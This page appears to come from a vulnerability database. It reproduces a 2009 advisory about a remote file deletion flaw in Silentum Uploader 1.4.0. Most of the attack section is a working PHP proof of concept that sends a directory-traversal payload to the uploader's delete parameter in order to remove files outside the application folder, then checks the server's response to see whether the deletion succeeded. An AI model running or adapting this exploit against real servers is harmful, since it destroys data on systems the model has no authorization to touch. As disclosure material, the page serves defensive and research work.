Lucene search
K

Silentum Uploader 1.4.0 Remote File Deletion Exploit

🗓️ 12 Jan 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Silentum Uploader 1.4.0 Remote File Deletion Exploit. Insufficient validation allows deletion of files outside intended director

Code

                                                Vendor: http://hypersilence.net
Version(s): Silentum Uploader 1.4.0 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=2

----

Due to insufficient validation of client-side data, we can alter the path of files to be deleted to a file outside the intended directory.

The following PoC will delete a file named 'secret.txt' one level above the application folder.

You must have already uploaded a file or you can visit APPLICATIONFOLDER/upload_log.txt (on a default installation) to ascertain the name of existing files.

---

<?php

$strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default
$strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion
$strUploadScript = "http://www.example.com/uploader/upload.php";

$objCurl = curl_init();
curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete);
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);
$strDump = curl_exec($objCurl);
curl_close($objCurl);

if(strpos($strDump, "No such file or directory") !== false)
{
	echo("$strToDelete didn't exist. \n");
}
else if(strpos($strDump, "Permission denied") !== false)
{
	echo("Permission was denied when deleting $strToDelete. \n");
}
else if(strpos($strDump, "function.unlink") !== false)
{
	echo("An unexpected error occured when deleting $strToDelete. \n");
}
else
{
	echo("Looks as though deletion of $strToDelete was successful.\n");
}

?>

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation